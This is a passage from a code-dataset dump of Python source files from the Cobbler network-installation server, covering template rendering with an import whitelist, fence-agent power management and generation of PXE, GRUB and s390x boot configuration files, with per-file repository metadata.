an empty list if the Category does not exist. """ if category not in self.modules_by_category: # FIXME: We can't enabled this check since it is to strict atm. # raise ValueError("category must be one of: %s" % MODULES_BY_CATEGORY.keys()) return [] return list(self.modules_by_category[category].values())
7,152
Python
.py
157
35.840764
120
0.616975
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,085
templar.py
cobbler_cobbler/cobbler/templar.py
""" Cobbler uses Cheetah templates for lots of stuff, but there's some additional magic around that to deal with snippets/etc. (And it's not spelled wrong!) """ # SPDX-License-Identifier: GPL-2.0-or-later # SPDX-FileCopyrightText: Copyright 2006-2009, Red Hat, Inc and Others # SPDX-FileCopyrightText: Michael DeHaan <michael.dehaan AT gmail> import logging import os import os.path import pprint import re from typing import TYPE_CHECKING, Any, Dict, List, Optional, TextIO, Union from cobbler import utils from cobbler.cexceptions import CX from cobbler.template_api import CobblerTemplate from cobbler.utils import filesystem_helpers if TYPE_CHECKING: from cobbler.api import CobblerAPI try: import jinja2 JINJA2_AVAILABLE = True except ModuleNotFoundError: # pylint: disable-next=invalid-name jinja2 = None # type: ignore JINJA2_AVAILABLE = False # type: ignore class Templar: """ Wrapper to encapsulate all logic of Cheetah vs. Jinja2. This also enables us to remove and add templating as desired via our self-defined API in this class. """ def __init__(self, api: "CobblerAPI"): """ Constructor :param api: The main API instance which is used by the current running server. """ self.settings = api.settings() self.last_errors: List[Any] = [] self.logger = logging.getLogger() def check_for_invalid_imports(self, data: str) -> None: """ Ensure that Cheetah code is not importing Python modules that may allow for advanced privileges by ensuring we whitelist the imports that we allow. :param data: The Cheetah code to check. :raises CX: Raised in case there could be a pontentially insecure import in the template. """ lines = data.split("\n") for line in lines: if "#import" in line or "#from" in line: rest = ( line.replace("#import", "") .replace("#from", "") .replace("import", ".") .replace(" ", "") .strip() ) if self.settings and rest not in self.settings.cheetah_import_whitelist: raise CX(f"Potentially insecure import in template: {rest}") def render( self, data_input: Union[TextIO, str], search_table: Dict[Any, Any], out_path: Optional[str], template_type: str = "default", ) -> str: """ Render data_input back into a file. :param data_input: is either a str or a TextIO object. :param search_table: is a dict of metadata keys and values. :param out_path: Optional parameter which (if present), represents the target path to write the result into. :param template_type: May currently be "cheetah" or "jinja2". "default" looks in the settings. :return: The rendered template. """ if not isinstance(data_input, str): raw_data = data_input.read() else: raw_data = data_input lines = raw_data.split("\n") if template_type is None: # type: ignore raise ValueError('"template_type" can\'t be "None"!') if not isinstance(template_type, str): # type: ignore raise TypeError('"template_type" must be of type "str"!') if template_type not in ("default", "jinja2", "cheetah"): return "# ERROR: Unsupported template type selected!" if template_type == "default": if self.settings and self.settings.default_template_type: template_type = self.settings.default_template_type else: template_type = "cheetah" if len(lines) > 0 and lines[0].find("#template=") == 0: # Pull the template type out of the first line and then drop it and rejoin them to pass to the template # language template_type = lines[0].split("=")[1].strip().lower() del lines[0] raw_data = "\n".join(lines) if template_type == "cheetah": data_out = self.render_cheetah(raw_data, search_table) elif template_type == "jinja2": data_out = self.render_jinja2(raw_data, search_table) else: return f"# ERROR: UNSUPPORTED TEMPLATE TYPE ({str(template_type)})" # Now apply some magic post-filtering that is used by "cobbler import" and some other places. Forcing folks to # double escape things would be very unwelcome. http_port = search_table.get("http_port", "80") server = search_table.get("server", self.settings.server) if http_port not in (80, "80"): repstr = f"{server}:{http_port}" else: repstr = server search_table["http_server"] = repstr # string replacements for @@xyz@@ in data_out with prior regex lookups of keys regex = r"@@[\S]*?@@" regex_matches = re.finditer(regex, data_out, re.MULTILINE) matches = {match.group() for _, match in enumerate(regex_matches, start=1)} for match in matches: data_out = data_out.replace(match, search_table[match.strip("@@")]) # remove leading newlines which apparently breaks AutoYAST ? if data_out.startswith("\n"): data_out = data_out.lstrip() # if requested, write the data out to a file if out_path is not None: filesystem_helpers.mkdir(os.path.dirname(out_path)) with open(out_path, "w", encoding="UTF-8") as file_descriptor: file_descriptor.write(data_out) return data_out def render_cheetah(self, raw_data: str, search_table: Dict[Any, Any]) -> str: """ Render data_input back into a file. :param raw_data: Is the template code which is not rendered into the result. :param search_table: is a dict of metadata keys and values (though results are always returned) :return: The rendered Cheetah Template. :raises SyntaxError: Raised in case the NFS paths has an invalid syntax. :raises CX: Raised in case there was an error when templating. """ self.check_for_invalid_imports(raw_data) # Backward support for Cobbler's legacy (and slightly more readable) template syntax. raw_data = raw_data.replace("TEMPLATE::", "$") # HACK: the autoinstall_meta field may contain nfs://server:/mount in which case this is likely WRONG for # automated installation files, which needs the NFS directive instead. Do this to make the templates work. newdata = "" if "tree" in search_table and search_table["tree"].startswith("nfs://"): for line in raw_data.split("\n"): if line.find("--url") != -1 and line.find("url ") != -1: rest = search_table["tree"][6:] # strip off "nfs://" part try: (server, directory) = rest.split(":", 2) except Exception as error: raise SyntaxError( f"Invalid syntax for NFS path given during import: {search_table['tree']}" ) from error line = f"nfs --server {server} --dir {directory}" # But put the URL part back in so koan can still see what the original value was line += "\n" + f"#url --url={search_table['tree']}" newdata += line + "\n" raw_data = newdata # Tell Cheetah not to blow up if it can't find a symbol for something. raw_data = "#errorCatcher ListErrors\n" + raw_data table_copy = search_table.copy() # For various reasons we may want to call a module inside a template and pass it all of the template variables. # The variable "template_universe" serves this purpose to make it easier to iterate through all of the variables # without using internal Cheetah variables search_table.update({"template_universe": table_copy}) # Now do full templating scan, where we will also templatify the snippet insertions template = CobblerTemplate.compile( moduleName="cobbler.template_api", className="CobblerDynamicTemplate", source=raw_data, compilerSettings={"useStackFrame": False}, baseclass=CobblerTemplate, ) try: generated_template_class = template(searchList=[search_table]) # type: ignore data_out = str(generated_template_class) # type: ignore self.last_errors = generated_template_class.errorCatcher().listErrors() # type: ignore if self.last_errors: # type: ignore self.logger.warning("errors were encountered rendering the template") self.logger.warning("\n%s", pprint.pformat(self.last_errors)) # type: ignore except Exception as error: self.logger.error(utils.cheetah_exc(error)) raise CX( "Error templating file, check cobbler.log for more details" ) from error return data_out def render_jinja2(self, raw_data: str, search_table: Dict[Any, Any]) -> str: """ Render data_input back into a file. :param raw_data: Is the template code which is not rendered into the result. :param search_table: is a dict of metadata keys and values :return: The rendered Jinja2 Template. """ if not JINJA2_AVAILABLE or jinja2 is None: return "# ERROR: JINJA2 NOT AVAILABLE. Maybe you need to install python-jinja2?\n" try: if self.settings and self.settings.jinja2_includedir: template = jinja2.Environment( loader=jinja2.FileSystemLoader(self.settings.jinja2_includedir) ).from_string(raw_data) else: template = jinja2.Template(raw_data) data_out = template.render(search_table) except Exception as exc: self.logger.warning("errors were encountered rendering the template") self.logger.warning(str(exc)) data_out = "# EXCEPTION OCCURRED DURING JINJA2 TEMPLATE PROCESSING\n" return data_out
10,389
Python
.py
205
40.131707
120
0.619738
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,086
__init__.py
cobbler_cobbler/cobbler/__init__.py
""" This is the main Cobbler module. It contains all code related to the Cobbler server and the CLI. External applications should only make use of the ``cobbler.api`` module. """
179
Python
.py
4
43.75
96
0.771429
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,087
power_manager.py
cobbler_cobbler/cobbler/power_manager.py
""" Power management library. Encapsulate the logic to run power management commands so that the Cobbler user does not have to remember different power management tools syntaxes. This makes rebooting a system for OS installation much easier. """ # SPDX-License-Identifier: GPL-2.0-or-later # SPDX-FileCopyrightText: Copyright 2008-2009, Red Hat, Inc and Others # SPDX-FileCopyrightText: Michael DeHaan <michael.dehaan AT gmail> import glob import json import logging import os import re import stat import time from pathlib import Path from typing import TYPE_CHECKING, List, Optional from cobbler import utils from cobbler.cexceptions import CX if TYPE_CHECKING: from cobbler.api import CobblerAPI from cobbler.items.system import System # Try the power command 3 times before giving up. Some power switches are flaky. POWER_RETRIES = 3 def get_power_types() -> List[str]: """ Get possible power management types. :returns: Possible power management types """ power_types: List[str] = [] fence_files = glob.glob("/usr/sbin/fence_*") + glob.glob("/sbin/fence_*") for fence in fence_files: fence_name = os.path.basename(fence).replace("fence_", "") if fence_name not in power_types: power_types.append(fence_name) power_types.sort() return power_types def validate_power_type(power_type: str) -> None: """ Check if a power management type is valid. :param power_type: Power management type. :raise CX: if power management type is invalid """ power_types = get_power_types() if not power_types: raise CX("you need to have fence-agents installed") if power_type not in power_types: raise CX(f"power management type must be one of: {','.join(power_types)}") def get_power_command(power_type: str) -> Optional[str]: """ Get power management command path :param power_type: power management type :returns: power management command path """ if power_type: # try /sbin, then /usr/sbin power_path1 = f"/sbin/fence_{power_type}" power_path2 = f"/usr/sbin/fence_{power_type}" for power_path in (power_path1, power_path2): if os.path.isfile(power_path) and os.access(power_path, os.X_OK): return power_path return None class PowerManager: """ Handles power management in systems """ def __init__(self, api: "CobblerAPI"): """ Constructor :param api: Cobbler API """ self.api = api self.settings = api.settings() self.logger = logging.getLogger() def _check_power_conf( self, system: "System", user: Optional[str] = None, password: Optional[str] = None, ) -> None: """ Prints a warning for invalid power configurations. :param user: The username for the power command of the system. This overrules the one specified in the system. :param password: The password for the power command of the system. This overrules the one specified in the system. :param system: Cobbler system """ if (system.power_pass or password) and system.power_identity_file: self.logger.warning("Both password and identity-file are specified") if system.power_identity_file: ident_path = Path(system.power_identity_file) if not ident_path.exists(): self.logger.warning( "identity-file %s does not exist", system.power_identity_file ) else: ident_stat = stat.S_IMODE(ident_path.stat().st_mode) if (ident_stat & stat.S_IRWXO) or (ident_stat & stat.S_IRWXG): self.logger.warning( "identity-file %s must not be read/write/exec by group or others", system.power_identity_file, ) if not system.power_address: self.logger.warning("power-address is missing") if not (system.power_user or user): self.logger.warning("power-user is missing") if not (system.power_pass or password) and not system.power_identity_file: self.logger.warning( "neither power-identity-file nor power-password specified" ) def _get_power_input( self, system: "System", power_operation: str, user: Optional[str] = None, password: Optional[str] = None, ) -> str: """ Creates an option string for the fence agent from the system data. This is an internal method. :param system: Cobbler system :param power_operation: power operation. Valid values: on, off, status. Rebooting is implemented as a set of 2 operations (off and on) in a higher level method. :param user: user to override system.power_user :param password: password to override system.power_pass :return: The option string for the fencer agent. """ self._check_power_conf(system, user, password) power_input = "" if not power_operation or power_operation not in ["on", "off", "status"]: raise CX("invalid power operation") power_input += "action=" + power_operation + "\n" if system.power_address: power_input += "ip=" + system.power_address + "\n" if system.power_user: power_input += "username=" + system.power_user + "\n" if system.power_id: power_input += "plug=" + system.power_id + "\n" if system.power_pass: power_input += "password=" + system.power_pass + "\n" if system.power_identity_file: power_input += "identity-file=" + system.power_identity_file + "\n" if system.power_options: power_input += system.power_options + "\n" return power_input def _power( self, system: "System", power_operation: str, user: Optional[str] = None, password: Optional[str] = None, ) -> Optional[bool]: """ Performs a power operation on a system. Internal method :param system: Cobbler system :param power_operation: power operation. Valid values: on, off, status. Rebooting is implemented as a set of 2 operations (off and on) in a higher level method. :param user: power management user. If user and password are not supplied, environment variables COBBLER_POWER_USER and COBBLER_POWER_PASS will be used. :param password: power management password :return: bool/None if power operation is 'status', return if system is on; otherwise, return None :raise CX: if there are errors """ power_command = get_power_command(system.power_type) if not power_command: raise ValueError("no power type set for system") power_info = { "type": system.power_type, "address": system.power_address, "user": system.power_user, "id": system.power_id, "options": system.power_options, "identity_file": system.power_identity_file, } self.logger.info("cobbler power configuration is: %s", json.dumps(power_info)) # if no username/password data, check the environment, empty user/password could be valid if not system.power_user and user is None: user = os.environ.get("COBBLER_POWER_USER", "") if not system.power_pass and password is None: password = os.environ.get("COBBLER_POWER_PASS", "") power_input = self._get_power_input(system, power_operation, user, password) self.logger.info("power command: %s", power_command) self.logger.info("power command process_input: %s", power_input) return_code = -1 for _ in range(0, POWER_RETRIES): output, return_code = utils.subprocess_sp( power_command, shell=False, process_input=power_input ) # Allowed return codes: 0, 1, 2 # pylint: disable-next=line-too-long # Source: https://github.com/ClusterLabs/fence-agents/blob/0d8826a0e83ca11dc7be95564c8566aaef6a6ecb/doc/FenceAgentAPI.md#agent-operations-and-return-values if power_operation in ("on", "off", "reboot"): if return_code == 0: return None elif power_operation == "status": if return_code in (0, 2): match = re.match( r"^(Status:|.+power\s=)\s(on|off)$", output, re.IGNORECASE | re.MULTILINE, ) if match: power_status = match.groups()[1] if power_status.lower() == "on": return True return False error_msg = f"command succeeded (rc={return_code}), but output ('{output}') was not understood" raise CX(error_msg) time.sleep(2) if not return_code == 0: error_msg = f"command failed (rc={return_code}), please validate the physical setup and cobbler config" raise CX(error_msg) return None def power_on( self, system: "System", user: Optional[str] = None, password: Optional[str] = None, ) -> None: """ Powers up a system that has power management configured. :param system: Cobbler system :type system: System :param user: power management user :param password: power management password """ self._power(system, "on", user, password) def power_off( self, system: "System", user: Optional[str] = None, password: Optional[str] = None, ) -> None: """ Powers down a system that has power management configured. :param system: Cobbler system :type system: System :param user: power management user :param password: power management password """ self._power(system, "off", user, password) def reboot( self, system: "System", user: Optional[str] = None, password: Optional[str] = None, ) -> None: """ Reboot a system that has power management configured. :param system: Cobbler system :type system: System :param user: power management user :param password: power management password """ self.power_off(system, user, password) time.sleep(5) self.power_on(system, user, password) def get_power_status( self, system: "System", user: Optional[str] = None, password: Optional[str] = None, ) -> Optional[bool]: """ Get power status for a system that has power management configured. :param system: Cobbler system :type system: System :param user: power management user :param password: power management password :return: if system is powered on """ return self._power(system, "status", user, password)
11,438
Python
.py
271
32.376384
167
0.606153
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,088
tftpgen.py
cobbler_cobbler/cobbler/tftpgen.py
""" Generate files provided by TFTP server based on Cobbler object tree. This is the code behind 'cobbler sync'. """ # SPDX-License-Identifier: GPL-2.0-or-later # SPDX-FileCopyrightText: Copyright 2006-2009, Red Hat, Inc and Others # SPDX-FileCopyrightText: Michael DeHaan <michael.dehaan AT gmail> import logging import os import os.path import pathlib import re import socket from typing import TYPE_CHECKING, Any, Dict, List, Optional, Tuple, Union from cobbler import enums, grub, templar, utils from cobbler.cexceptions import CX from cobbler.enums import Archs, ImageTypes from cobbler.utils import filesystem_helpers, input_converters from cobbler.validate import validate_autoinstall_script_name if TYPE_CHECKING: from cobbler.api import CobblerAPI from cobbler.items.abstract.bootable_item import BootableItem from cobbler.items.distro import Distro from cobbler.items.image import Image from cobbler.items.menu import Menu from cobbler.items.profile import Profile from cobbler.items.system import System class TFTPGen: """ Generate files provided by TFTP server """ def __init__(self, api: "CobblerAPI"): """ Constructor """ self.logger = logging.getLogger() self.api = api self.distros = api.distros() self.profiles = api.profiles() self.systems = api.systems() self.settings = api.settings() self.repos = api.repos() self.images = api.images() self.menus = api.menus() self.templar = templar.Templar(self.api) self.bootloc = self.settings.tftpboot_location def copy_bootloaders(self, dest: str) -> None: """ Copy bootloaders to the configured tftpboot directory NOTE: we support different arch's if defined in our settings file. """ src = self.settings.bootloaders_dir dest = self.bootloc # Unfortunately using shutils copy_tree the dest directory must not exist, but we must not delete an already # partly synced /srv/tftp dir here. rsync is very convenient here, being very fast on an already copied folder. utils.subprocess_call( [ "rsync", "-rpt", "--copy-links", "--exclude=.cobbler_postun_cleanup", f"{src}/", dest, ], shell=False, ) src = self.settings.grubconfig_dir utils.subprocess_call( [ "rsync", "-rpt", "--copy-links", "--exclude=README.grubconfig", f"{src}/", dest, ], shell=False, ) def copy_images(self) -> None: """ Like copy_distros except for images. """ errors: List[CX] = [] for i in self.images: try: self.copy_single_image_files(i) except CX as cobbler_exception: errors.append(cobbler_exception) self.logger.error(cobbler_exception.value) def copy_single_distro_file( self, d_file: str, distro_dir: str, symlink_ok: bool ) -> None: """ Copy a single file (kernel/initrd) to distro's images directory :param d_file: distro's kernel/initrd absolut or remote file path value :param distro_dir: directory (typically in {www,tftp}/images) where to copy the file :param symlink_ok: whethere it is ok to symlink the file. Typically false in case the file is used by daemons run in chroot environments (tftpd,..) :raises FileNotFoundError: Raised in case no kernel was found. """ full_path: Optional[str] = utils.find_kernel(d_file) if not full_path: full_path = utils.find_initrd(d_file) if full_path is None or not full_path: # Will raise if None or an empty str raise FileNotFoundError( f'No kernel found at "{d_file}", tried to copy to: "{distro_dir}"' ) # Koan manages remote kernel/initrd itself, but for consistent PXE # configurations the synchronization is still necessary if not utils.file_is_remote(full_path): b_file = os.path.basename(full_path) dst = os.path.join(distro_dir, b_file) filesystem_helpers.linkfile(self.api, full_path, dst, symlink_ok=symlink_ok) else: b_file = os.path.basename(full_path) dst = os.path.join(distro_dir, b_file) filesystem_helpers.copyremotefile(full_path, dst, api=None) def copy_single_distro_files( self, distro: "Distro", dirtree: str, symlink_ok: bool ): """ Copy the files needed for a single distro. :param distro: The distro to copy. :param dirtree: This is the root where the images are located. The folder "images" gets automatically appended. :param symlink_ok: If it is okay to use a symlink to link the destination to the source. """ distro_dir = os.path.join(dirtree, "images", distro.name) filesystem_helpers.mkdir(distro_dir) if distro.kernel: self.copy_single_distro_file(distro.kernel, distro_dir, symlink_ok) else: self.copy_single_distro_file( distro.remote_boot_kernel, distro_dir, symlink_ok ) if distro.initrd: self.copy_single_distro_file(distro.initrd, distro_dir, symlink_ok) else: self.copy_single_distro_file( distro.remote_boot_initrd, distro_dir, symlink_ok ) def copy_single_image_files(self, img: "Image"): """ Copies an image to the images directory of Cobbler. :param img: The image to copy. """ images_dir = os.path.join(self.bootloc, "images2") filename = img.file if not os.path.exists(filename): # likely for virtual usage, cannot use return if not os.path.exists(images_dir): os.makedirs(images_dir) newfile = os.path.join(images_dir, img.name) filesystem_helpers.linkfile(self.api, filename, newfile) def _format_s390x_kernel_options( self, distro: Optional["Distro"], profile: Optional["Profile"], image: Optional["Image"], system: "System", ) -> str: blended = utils.blender(self.api, True, system) # FIXME: profiles also need this data! # gather default kernel_options and default kernel_options_s390x kernel_options = self.build_kernel_options( system, profile, distro, image, enums.Archs.S390X, blended.get("autoinstall", ""), ) # parm file format is fixed to 80 chars per line. # All the lines are concatenated without spaces when being passed to the kernel. # # Recommendation: one parameter per line (ending with whitespace) # # NOTE: If a parameter is too long to fit into the 80 characters limit it can simply # be continued in the first column of the next line. # # https://www.debian.org/releases/stable/s390x/ch05s01.en.html # https://documentation.suse.com/sles/15-SP1/html/SLES-all/cha-zseries.html#sec-appdendix-parm-examples # https://wiki.ubuntu.com/S390X/InstallationGuide _parmfile_fixed_line_len = 79 kopts_aligned = "" kopts = kernel_options.strip() # Only in case we have kernel options if kopts: for option in [ kopts[i : i + _parmfile_fixed_line_len] for i in range(0, len(kopts), _parmfile_fixed_line_len) ]: # If chunk contains multiple parameters (separated by whitespaces) # then we put them in separated lines followed by whitespace kopts_aligned += option.replace(" ", " \n") + "\n" return kopts_aligned def _write_all_system_files_s390( self, distro: "Distro", profile: "Profile", image: "Image", system: "System" ) -> None: """ Write all files for a given system to TFTP that is of the architecture of s390[x]. Directory structure for netboot enabled systems: .. code-block:: TFTP Directory/ S390X/ s_<system_name> s_<system_name>_conf s_<system_name>_parm Directory structure for netboot disabled systems: .. code-block:: TFTP Directory/ S390X/ s_<system_name>_conf :param distro: The distro to generate the files for. :param profile: The profile to generate the files for. :param image: The image to generate the files for. :param system: The system to generate the files for. """ short_name = system.name.split(".")[0] s390_name = "linux" + short_name[7:10] self.logger.info("Writing s390x pxe config for %s", short_name) # Always write a system specific _conf and _parm file pxe_f = os.path.join(self.bootloc, enums.Archs.S390X.value, f"s_{s390_name}") conf_f = f"{pxe_f}_conf" parm_f = f"{pxe_f}_parm" self.logger.info("Files: (conf,param) - (%s,%s)", conf_f, parm_f) # Write system specific zPXE file if system.is_management_supported(): if system.netboot_enabled: self.logger.info("S390x: netboot_enabled") kernel_path = os.path.join( "/images", distro.name, os.path.basename(distro.kernel) ) initrd_path = os.path.join( "/images", distro.name, os.path.basename(distro.initrd) ) kopts = self._format_s390x_kernel_options( distro, profile, image, system ) with open(pxe_f, "w", encoding="UTF-8") as out: out.write(kernel_path + "\n" + initrd_path + "\n") with open(parm_f, "w", encoding="UTF-8") as out: out.write(kopts) # Write conf file with one newline in it if netboot is enabled with open(conf_f, "w", encoding="UTF-8") as out: out.write("\n") else: self.logger.info("S390x: netboot_disabled") # Write empty conf file if netboot is disabled pathlib.Path(conf_f).touch() else: # ensure the files do exist self.logger.info("S390x: management not supported") filesystem_helpers.rmfile(pxe_f) filesystem_helpers.rmfile(conf_f) filesystem_helpers.rmfile(parm_f) self.logger.info( "S390x: pxe: [%s], conf: [%s], parm: [%s]", pxe_f, conf_f, parm_f ) def write_all_system_files( self, system: "System", menu_items: Dict[str, Union[str, Dict[str, str]]] ) -> None: """ Writes all files for tftp for a given system with the menu items handed to this method. The system must have a profile attached. Otherwise this method throws an error. Directory structure: .. code-block:: TFTP Directory/ pxelinux.cfg/ 01-aa-bb-cc-dd-ee-ff grub/ system/ aa:bb:cc:dd:ee:ff system_link/ <system_name> :param system: The system to generate files for. :param menu_items: The list of labels that are used for displaying the menu entry. """ system_parent: Optional[ Union["Profile", "Image"] ] = system.get_conceptual_parent() # type: ignore if system_parent is None: raise CX( f"system {system.name} references a missing profile {system.profile}" ) distro: Optional["Distro"] = system_parent.get_conceptual_parent() # type: ignore # TODO: Check if we can do this with isinstance and without a circular import. if distro is None: if system_parent.COLLECTION_TYPE == "profile": raise CX(f"profile {system.profile} references a missing distro!") image: Optional["Image"] = system_parent # type: ignore profile = None else: profile: Optional["Profile"] = system_parent # type: ignore image = None pxe_metadata = {"menu_items": menu_items} # hack: s390 generates files per system not per interface if distro is not None and distro.arch in (enums.Archs.S390, enums.Archs.S390X): self._write_all_system_files_s390(distro, profile, image, system) # type: ignore return # generate one record for each described NIC .. for (name, _) in system.interfaces.items(): # Passing "pxe" here is a hack, but we need to make sure that # get_config_filename() will return a filename in the pxelinux # bootloader_format. pxe_name = system.get_config_filename(interface=name, loader="pxe") grub_name = system.get_config_filename(interface=name, loader="grub") if pxe_name is not None: pxe_path = os.path.join(self.bootloc, "pxelinux.cfg", pxe_name) else: pxe_path = "" if grub_name is not None: grub_path = os.path.join(self.bootloc, "grub", "system", grub_name) else: grub_path = "" if grub_path == "" and pxe_path == "": self.logger.warning( "invalid interface recorded for system (%s,%s)", system.name, name ) continue if profile is None and image is not None: working_arch = image.arch elif distro is not None: working_arch = distro.arch else: raise ValueError("Arch could not be fetched!") # for tftp only ... if working_arch in [ Archs.I386, Archs.X86_64, Archs.ARM, Archs.AARCH64, Archs.PPC, Archs.PPC64, Archs.PPC64LE, Archs.PPC64EL, ]: # ToDo: This is old, move this logic into item_system.get_config_filename() pass else: continue if system.is_management_supported(): if image is None: if pxe_path: self.write_pxe_file( pxe_path, system, profile, distro, working_arch, metadata=pxe_metadata, # type: ignore ) if grub_path: self.write_pxe_file( grub_path, system, profile, distro, working_arch, bootloader_format="grub", ) # Generate a link named after system to the mac file for easier lookup link_path = os.path.join( self.bootloc, "grub", "system_link", system.name ) filesystem_helpers.rmfile(link_path) filesystem_helpers.mkdir(os.path.dirname(link_path)) os.symlink(os.path.join("..", "system", grub_name), link_path) # type: ignore else: self.write_pxe_file( pxe_path, system, profile, distro, working_arch, image=image, metadata=pxe_metadata, # type: ignore ) else: # ensure the file doesn't exist filesystem_helpers.rmfile(pxe_path) if grub_path: filesystem_helpers.rmfile(grub_path) def _generate_system_file_s390x( self, distro: "Distro", profile: Optional["Profile"], image: Optional["Image"], system: "System", path: pathlib.Path, ) -> Optional[str]: short_name = system.name.split(".")[0] s390_name = "linux" + short_name[7:10] if path == pathlib.Path(f"/s390x/s_{s390_name}_conf"): return "\n" if system.netboot_enabled else "" if system.netboot_enabled: if path == pathlib.Path(f"/s390x/s_{s390_name}"): kernel_path = os.path.join( "/images", distro.name, os.path.basename(distro.kernel) ) initrd_path = os.path.join( "/images", distro.name, os.path.basename(distro.initrd) ) return kernel_path + "\n" + initrd_path + "\n" if path == pathlib.Path(f"/s390x/s_{s390_name}_parm"): return self._format_s390x_kernel_options(distro, profile, image, system) return None def generate_system_file( self, system: "System", path: pathlib.Path, metadata: Dict[str, Union[str, Dict[str, str]]], ) -> Optional[str]: """ Generate a single file for a system if the file is related to the system. :param system: The system to generate the file for. :param path: The path to the file. :param metadata: Menu items and other metadata for the generator. :returns: The contents of the file or None if the system does not provide this file. """ system_parent: Optional[ Union["Profile", "Image"] ] = system.get_conceptual_parent() # type: ignore if system_parent is None: raise CX( f"system {system.name} references a missing profile {system.profile}" ) distro: Optional["Distro"] = system_parent.get_conceptual_parent() # type: ignore # TODO: Check if we can do this with isinstance and without a circular import. if distro is None: if system_parent.COLLECTION_TYPE == "profile": raise CX(f"profile {system.profile} references a missing distro!") image: Optional["Image"] = system_parent # type: ignore profile = None else: profile: Optional["Profile"] = system_parent # type: ignore image = None if distro is not None and distro.arch in (Archs.S390, Archs.S390X): return self._generate_system_file_s390x( distro, profile, image, system, path ) if profile is None and image is not None: working_arch = image.arch elif distro is not None: working_arch = distro.arch else: raise ValueError("Arch could not be fetched!") for (name, _) in system.interfaces.items(): pxe_name = system.get_config_filename(interface=name, loader="pxe") if pxe_name and ( path == pathlib.Path("/pxelinux.cfg", pxe_name) or path == pathlib.Path("/esxi/pxelinux.cfg", pxe_name) ): return self.write_pxe_file( None, system, profile, distro, working_arch, metadata=metadata, ) grub_name = system.get_config_filename(interface=name, loader="grub") if grub_name and path == pathlib.Path("/grub/system", grub_name): return self.write_pxe_file( None, system, profile, distro, working_arch, bootloader_format="grub", ) if path == pathlib.Path("/esxi/system", system.name, "boot.cfg"): # FIXME: generate_bootcfg shouldn't waste time searching for the system again return self.generate_bootcfg("system", system.name) return None def make_pxe_menu(self) -> Dict[str, Union[str, Dict[str, str]]]: """ Generates pxe, ipxe and grub boot menus. """ # only do this if there is NOT a system named default. default = self.systems.find(name="default") timeout_action = "local" if default is not None and not isinstance(default, list): timeout_action = default.profile boot_menu: Dict[str, Union[Dict[str, str], str]] = {} metadata = self.get_menu_items() menu_items = metadata["menu_items"] menu_labels = metadata["menu_labels"] metadata["pxe_timeout_profile"] = timeout_action self._make_pxe_menu_pxe(metadata, menu_items, menu_labels, boot_menu) # type: ignore self._make_pxe_menu_ipxe(metadata, menu_items, menu_labels, boot_menu) # type: ignore self._make_pxe_menu_grub(boot_menu) return boot_menu def _make_pxe_menu_pxe( self, metadata: Dict[str, Union[str, Dict[str, str]]], menu_items: Dict[str, Any], menu_labels: Dict[str, Any], boot_menu: Dict[str, Union[Dict[str, str], str]], ) -> None: """ Write the PXE menu :param metadata: The metadata dictionary that contains the metdata for the template. :param menu_items: The dictionary with the data for the menu. :param menu_labels: The dictionary with the labels that are shown in the menu. :param boot_menu: The dictionary which contains the PXE menu and its data. """ metadata["menu_items"] = menu_items.get("pxe", "") metadata["menu_labels"] = menu_labels.get("pxe", "") outfile = os.path.join(self.bootloc, "pxelinux.cfg", "default") with open( os.path.join( self.settings.boot_loader_conf_template_dir, "pxe_menu.template" ), encoding="UTF-8", ) as template_src: template_data = template_src.read() boot_menu["pxe"] = self.templar.render(template_data, metadata, outfile) def _make_pxe_menu_ipxe( self, metadata: Dict[str, Union[str, Dict[str, str]]], menu_items: Dict[str, Any], menu_labels: Dict[str, Any], boot_menu: Dict[str, Union[Dict[str, str], str]], ) -> None: """ Write the iPXE menu :param metadata: The metadata dictionary that contains the metdata for the template. :param menu_items: The dictionary with the data for the menu. :param menu_labels: The dictionary with the labels that are shown in the menu. :param boot_menu: The dictionary which contains the iPXE menu and its data. """ if self.settings.enable_ipxe: metadata["menu_items"] = menu_items.get("ipxe", "") metadata["menu_labels"] = menu_labels.get("ipxe", "") outfile = os.path.join(self.bootloc, "ipxe", "default.ipxe") with open( os.path.join( self.settings.boot_loader_conf_template_dir, "ipxe_menu.template" ), encoding="UTF-8", ) as template_src: template_data = template_src.read() boot_menu["ipxe"] = self.templar.render( template_data, metadata, outfile ) def _make_pxe_menu_grub( self, boot_menu: Dict[str, Union[Dict[str, str], str]] ) -> None: """ Write the grub menu :param boot_menu: The dictionary which contains the GRUB menu and its data. """ for arch in enums.Archs: arch_metadata = self.get_menu_items(arch) arch_menu_items = arch_metadata["menu_items"] boot_menu["grub"] = arch_menu_items outfile = ( pathlib.Path(self.bootloc) / "grub" / f"{arch.value}_menu_items.cfg" ) outfile.write_text(arch_menu_items.get("grub", ""), encoding="UTF-8") # type: ignore def generate_pxe_menu( self, path: pathlib.Path, metadata: Dict[str, Union[str, Dict[str, str]]] ) -> Optional[str]: """ Generate the requested menu file. :param path: Path to the menu file. :param metadata: Menu items and other metadata for the generator. """ # only do this if there is NOT a system named default. default = self.systems.find(name="default") timeout_action = "local" if default is not None and not isinstance(default, list): timeout_action = default.profile metadata["pxe_timeout_profile"] = timeout_action if path == pathlib.Path("/pxelinux.cfg/default") or path == pathlib.Path( "/esxi/pxelinux.cfg/default" ): return self._generate_pxe_menu_pxe(metadata) if self.settings.enable_ipxe and path == pathlib.Path("/ipxe/default.ipxe"): return self._generate_pxe_menu_ipxe(metadata) for arch in enums.Archs: arch_menu_path = pathlib.Path("/grub", f"{arch.value}_menu_items.cfg") if path == arch_menu_path: return self.get_menu_items(arch)["menu_items"].get("grub", "") # type: ignore return None def _generate_pxe_menu_pxe( self, metadata: Dict[str, Union[str, Dict[str, str]]], ) -> str: """ Generate the PXE menu :param metadata: The metadata dictionary that contains the metdata for the template. """ metadata["menu_items"] = metadata["menu_items"].get("pxe", "") # type: ignore metadata["menu_labels"] = metadata["menu_labels"].get("pxe", "") # type: ignore with open( os.path.join( self.settings.boot_loader_conf_template_dir, "pxe_menu.template" ), encoding="UTF-8", ) as template_src: template_data = template_src.read() return self.templar.render(template_data, metadata, None) def _generate_pxe_menu_ipxe( self, metadata: Dict[str, Union[str, Dict[str, str]]], ) -> str: """ Generate the IPXE menu :param metadata: The 